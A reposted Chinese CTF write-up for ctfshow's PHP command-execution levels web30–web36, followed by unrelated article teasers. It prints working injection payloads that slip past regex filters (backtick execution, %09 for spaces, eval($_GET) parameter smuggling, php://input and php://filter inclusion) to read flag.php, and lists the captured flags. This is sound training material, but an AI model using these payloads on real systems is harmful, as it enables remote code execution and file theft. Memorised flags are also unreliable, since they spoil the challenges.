ctfshow-web入门-命令执行(web30-web36)

news2024/11/22 23:48:14

目录

1、web30

2、web31

3、web32

4、web33

5、web34

6、web35

7、web36


命令执行,需要严格的过滤

 

1、web30

代码差不多,就是过滤的东西变多了:

preg_match("/flag|system|php/i", $c)

这里不让用 system ,我们用上一道题的方法使用反引号执行命令,构造 payload:

?c=echo `ls`;

读取 flag:

?c=echo `cat f*`;

查看源码:

拿到 flag:ctfshow{de6eb951-84e4-4a10-82ae-bb93787f2f9a}

其他的绕过方法就不再像第一题那样赘述了,我们继续下一题。

2、web31

preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)

 这里主要新增了对 cat 、点、单引号、空格的过滤:

cat 可以使用 tac 代替或者使用 rev 反向输出;

点和单引号我压根用不到所以不影响;

空格使用 URL编码的 %09  代替。

先列出文件,构造 payload:

?c=echo%09`ls`;

执行成功

读取 flag,构造 payload:

?c=echo%09`tac%09f*`;

拿到 flag:ctfshow{34ab0674-d667-4bf3-aa63-e7f43b0a6c65}

当然,其实对于空格的处理方式还有很多,我相信后面我们会介绍到的。

我一般习惯自己做了再参考它的 wp,这样可以学到不同的方法和思路:

利用无参数函数 ,payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

看一下 chatgpt 的解释:

scandir(pos(localeconv())): 这个函数调用 scandir() 用于扫描目录,pos(localeconv()) 返回当前本地化设置的符号。这段代码的目的是扫描某个目录下的文件和目录。

array_reverse(): 这个函数用于将数组中的元素倒序排列。在这里它被应用在 scandir() 的返回值上,意味着文件和目录列表将会以相反的顺序返回。

next(): 这个函数用于将数组的内部指针向前移动并返回当前元素的值。在这里它似乎是用于获取数组的下一个元素。

show_source(): 这个函数用于输出文件的源代码。这个代码的意图似乎是扫描某个目录下的文件和目录,然后将它们倒序排列,并尝试显示它们中的下一个文件的源代码。

此外,在网上还看到了另一个骚操作,payload:

?c=eval($_GET[1]);&1=system('tac flag.php');

类似弄了个一句话木马 ,并且参数 1 后面的内容不受正则匹配的影响。

3、web32

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

这里把反引号、echo、分号、左括号都过滤了,我们使用 php 伪协议。

首先看一下当前目录下的文件,构造 payload:

?c=include$_GET["1"]?>&1=php://input 

这里的 ?> 是为了闭合前面的 php 语句,因为分号被过滤了,所以只能使用这个,后面另一参数 1 传入的内容不受正则匹配的影响。

post 写入我们想要执行的 php 代码即可:

<?php system('ls');?>

读取 flag.php:

<?php system('tac flag.php');?>

当然,我们也可以直接使用 php://filter 协议进行源码读取:

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

base64 解码:

或者换一种编码方式输出就不需要解码了:

?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}

4、web33

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)

过滤新增了双引号,去掉上一题的 payload 中变量的双引号即可:

?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

flag:ctfshow{f1725a2e-1816-4401-845e-5690e1f8a209}

5、web34

新增过滤冒号,不过对上一题的 payload 不影响,直接上:

?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{1dbf17bf-857e-4f2c-be34-b9a99eab8480}

6、web35

新增过滤小于号和等号,我们用到的是大于号,因此依旧用前面文件包含的 payload 来打:

?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{dd218453-ee10-4d4c-ad85-d7b4a7bb0c7c}

7、web36

新增过滤斜杠和数字 0-9,我们使用字母来传参即可:

?c=include$_GET[a]?>&a=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6d9aeca5-db5e-4740-959a-87abc8ee756b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1796598.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RainBond 制作应用并上架【以ElasticSearch为例】

文章目录 安装 ElasticSearch 集群第 1 步:添加组件第 2 步:查看组件第 3 步:访问组件制作 ElasticSearch 组件准备工作ElasticSearch 集群原理尝试 Helm 安装 ES 集群RainBond 制作 ES 思路源代码Dockerfiledocker-entrypoint.shelasticsearch.yml制作组件第 1 步:添加组件…

JSONPath使用指南(掌握JSON数据提取)

大家好&#xff0c;在处理 JSON&#xff08;JavaScript Object Notation&#xff09;数据时&#xff0c;有时需要从复杂的结构中提取特定部分。JSONPath 就是一个非常有用的工具&#xff0c;它提供了一种简洁而强大的方式来定位和提取 JSON 数据中的元素。无论是在 Web 开发中处…

Sui主网升级至V1.26.2版本

Sui主网现已升级至V1.26.2版本&#xff0c;同时Sui协议升级至48版本。 其他升级要点如下所示&#xff1a; 协议 #17881 Sui原生随机性功能现在已在测试网启用。 索引器 #17649 JSON-RPC&#xff1a;现在JSON-RPC在查询时将返回正确的币种元数据和总供应量信息。 索引器…

病理级Polymer酶标二抗IHC试剂盒上线!

免疫组织化学 Immunohistochemistry,lHC 是利用抗体与抗原特异性识别原理&#xff0c;对组织样本中的抗原进行定位/定性分析的实验技术。组织切片保留了样品的解剖学结构特征&#xff0c;从而可以高分辨率地显现蛋白在细胞&#xff0c;甚至细胞器中的定位。基于以上特性&…

15. WinCC操作记录显示(模拟量修改与数字量变化)

方法一&#xff1a;记录方法与模拟量归档类似。该方法适合记录操作员修改模拟量或者少量的二进制变量。 在变量管理——过程值归档中新建组“操作记录”&#xff0c;然后将操作记录变量添加至该组下面&#xff0c;如果操作变量是二进制&#xff0c;那“归档于”列选择每个信号…

深入剖析Tomcat(九) Session的实现原理

提到Session&#xff0c;相信大家都不陌生&#xff0c;Http协议本身是无状态的&#xff0c;每次请求都是独立的&#xff0c;而当我们想要将多次请求建立某种关系的时候&#xff0c;就会用到CookieSession这个组合&#xff0c;也就是常说的“会话”概念&#xff0c;将多次请求当…

【git】subtree 简单教程

git subtree使用案例 &#x1f604;生命不息&#xff0c;写作不止 &#x1f525; 继续踏上学习之路&#xff0c;学之分享笔记 &#x1f44a; 总有一天我也能像各位大佬一样 &#x1f3c6; 博客首页 怒放吧德德 To记录领地 &#x1f31d;分享学习心得&#xff0c;欢迎指正&am…

ceph radosgw 原有zone placement信息丢失数据恢复

概述 近期遇到一个故障环境&#xff0c;因为某些原因&#xff0c;导致集群原有zone、zonegroup等信息丢失&#xff08;osd&#xff0c;pool等状态均健康&#xff09;。原有桶和数据无法访问&#xff0c;经过一些列fix后修复&#xff0c; 记录过程 恢复realm和pool相关信息 重…

Golang TCP网络编程

文章目录 网络编程介绍TCP网络编程服务器监听客户端连接服务器服务端获取连接向连接中写入数据从连接中读取数据关闭连接/监听器 简易的TCP回声服务器效果展示服务端处理逻辑客户端处理逻辑 网络编程介绍 网络编程介绍 网络编程是指通过计算机网络实现程序间通信的一种编程技术…

SLC Flash SD芯片:高性能存储的优选

SLC Flash SD芯片是一种采用单阶存储单元&#xff08;SingleLevel Cell&#xff0c;SLC&#xff09;技术的Secure Digital&#xff08;SD&#xff09;存储卡。SLC技术以其快速的传输速度、低功耗和较长的存储单元寿命而闻名。 MK米客方德 SLC Flash的优势 1. 快速的传输速度&a…

蓝牙AOA基站定位的优势与应用前景

在科技飞速发展的今天&#xff0c;人们对于定位技术的精度和稳定性要求越来越高。蓝牙AOA基站定位技术应运而生&#xff0c;以其高精度和低通信开销的特点&#xff0c;正逐渐改变我们对室内定位的认知。本文我们就一起来具体了解一下关于蓝牙AOA基站定位技术的优势及应用前景&a…

实现飞书机器人推送消息到指定群组或者用户

实现飞书机器人推送消息到指定群组或者用户 1 简介2 创建飞书应用2.1 注册登录2.2 创建应用2.3 添加应用能力2.4 权限管理3 发布应用4 代码示例4.1 获取应用ID与token4.2 使用Python SDK4.3 简单示例4.4 获取用户或机器人所在的群列表4.5 通过手机号或邮箱获取用户 ID4.6 给群组…

【Vue】普通组件的注册使用-局部注册

文章目录 一、组件注册的两种方式二、使用步骤三、练习 一、组件注册的两种方式 局部注册&#xff1a;只能在注册的组件内使用 ① 创建 .vue 文件 (三个组成部分) 以.vue结尾的组件&#xff0c;一般也叫做 单文件组件&#xff0c;即一个组件就是组件里的全部内容 ② 在使用的组…

【栈】1096. 花括号展开 II

本文涉及知识点 栈 LeetCode 1096. 花括号展开 II 如果你熟悉 Shell 编程&#xff0c;那么一定了解过花括号展开&#xff0c;它可以用来生成任意字符串。 花括号展开的表达式可以看作一个由 花括号、逗号 和 小写英文字母 组成的字符串&#xff0c;定义下面几条语法规则&…

树莓派4B_OpenCv学习笔记4:测试摄像头_imread加载显示图像_imwrite保存图片

今日继续学习树莓派4B 4G&#xff1a;&#xff08;Raspberry Pi&#xff0c;简称RPi或RasPi&#xff09; 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: Opencv 版本是4.5.1&#xff1a; 今日对之前的测试CSI摄像头函数进行一些理解说明&#x…

混合关键性系统技术【同构异构】【SMP、AMP、BMP】【嵌入式虚拟化】

混合关键性系统技术【同构异构】【SMP、AMP、BMP】【嵌入式虚拟化】 1 介绍1.1 概述openEuler Embedded 的运行模式openEuler Embedded 混合关键性系统技术架构UniProton 1.2 同构异构区别 【硬件侧】1.3 系统架构【SMP、AMP、BMP】多核处理器平台的系统架构 【软件侧】【SMP、…

【RuoYi】框架中使用wangdietor富文本编辑器

一、前言 在上篇博客中&#xff0c;介绍了RuoYi中如何实现文件的上传与下载&#xff0c;那么这篇博客讲一下如何在RuoYi中使用富文本编辑器&#xff0c;这部分的内容是向&#xff22;站程序员青戈学习的&#xff0c;当然我这里就会把学到的内容做一个总结&#xff0c;当然也会说…

Java基础语法---集合---ArrayList

ArrayList是什么 ArrayList可以看作是一个动态数组&#xff0c;提供了自动扩容的能力&#xff0c;意味着它能够根据需要自动调整其大小以容纳更多的元素&#xff0c;而无需预先指定数组的容量。 使用ArrayList需要加入包 import java.util.ArryList ArrayList与普通数组的不同…

【C++】─篇文章带你熟练掌握 map 与 set 的使用

目录 一、关联式容器二、键值对三、pair3.1 pair的常用接口说明3.1.1 [无参构造函数](https://legacy.cplusplus.com/reference/utility/pair/pair/)3.1.2 [有参构造函数 / 拷贝构造函数](https://legacy.cplusplus.com/reference/utility/pair/pair/)3.1.3 [有参构造函数](htt…

bootstrap5-学习笔记1-容器+布局+按钮+工具

参考&#xff1a; Bootstrap5 教程 | 菜鸟教程 https://www.runoob.com/bootstrap5/bootstrap5-tutorial.html Spacing Bootstrap v5 中文文档 v5.3 | Bootstrap 中文网 https://v5.bootcss.com/docs/utilities/spacing/ 之前用bootstrap2和3比较多&#xff0c;最近用到了5&a…